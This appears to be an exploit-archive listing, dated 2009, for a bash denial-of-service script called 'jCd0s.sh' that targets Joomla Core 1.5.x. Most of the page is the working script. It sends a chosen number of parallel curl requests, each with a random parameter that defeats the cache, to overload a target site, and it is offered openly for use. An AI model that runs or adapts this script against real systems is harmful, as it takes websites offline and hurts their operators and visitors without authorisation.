Author

emgent

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-9818

Category

dos / poc

Date add

31-12-2009

Platform

unsorted

======================================
Joomla Core <= 1.5.x com_component DOS
======================================


# Title: 0day Joomla Core <= 1.5.x com_component DOS
# EDB-ID: 10820
# CVE-ID: ()
# OSVDB-ID: ()
# Author: emgent
# Published: 2009-12-31
# Verified: yes

view source
print?
#!/bin/bash
#
# Copyright (C) 2009 Emanuele Gentili 
#
# This program is released under the terms of the GNU General Public License
# (GPL), which is distributed with this software in the file "COPYING".
# The GPL specifies the terms under which users may copy and use this software.
#
# jCd0s.sh
# This is a 0day DOS issue for joomla Core that use cache stressing with random
# parameter on multiple requests.
#
 
show_help(){
  echo ""
  echo " 2009 (C) jCd0s.sh - 0day Joomla Core <= 1.5.x com_component DOS"
  echo ""
  echo " --usage    show the exploit Usage"
  echo " --prereq      show the exploit Prerequisites"
  echo " --credits  show the exploit Credits"
  echo " --help     show the Help"
  echo ""
  echo "Emanuele Gentili"
}
 
show_credits(){
  echo ""
  echo " Emanuele 'emgent' Gentili"
  echo " http://www.backtrack.it/~emgent/"
  echo " emgent @ backtrack.it"
  echo ""
}
 
show_prereq(){
 echo ""
 echo " 2009 (C) jCd0s.sh - 0day Joomla Core <= 1.5.x com_component DOS"
 echo ""
 echo " Prerequeisites:"
 echo " Bash (yeah because is cool.)"
 echo " Curl"
 echo ""
 echo " Emanuele Gentili <emgent@backtrack.it>"
}
 
show_usage(){
  echo ""
  echo " 2009 (C) jCd0s.sh - 0day Joomla Core <= 1.5.x com_component DOS"
  echo ""
  echo " usage $0 --host http://localhost/joomla/ --requests 1000"
  echo ""
  echo " Emanuele Gentili "
}
 
 
# Bash
while [[ $# != 0 ]]; do
    arg_name=$1; shift
    case "$arg_name" in
      --help|-?|-h) show_help; exit 0;;
      --credits) show_credits; exit 0;;
      --usage) show_usage; exit 0;;
      --prereq) show_prereq; exit 0;;
      --host) host=$1; shift;;
      --requests) requests=$1; shift;;
      *) echo "invalid option: $1"; show_help;exit 1;;
    esac
done
 
[ -z "$host" ] && { show_help; exit 1; }
 
for random in `seq 1 $requests`; do
curl -A Firefox -o --url "$host/index.php?option=com_content&task=view&id=1&Itemid=1&d0s=$random" > /dev/null 2>&1 &
done



#  0day.today [2024-05-20]  #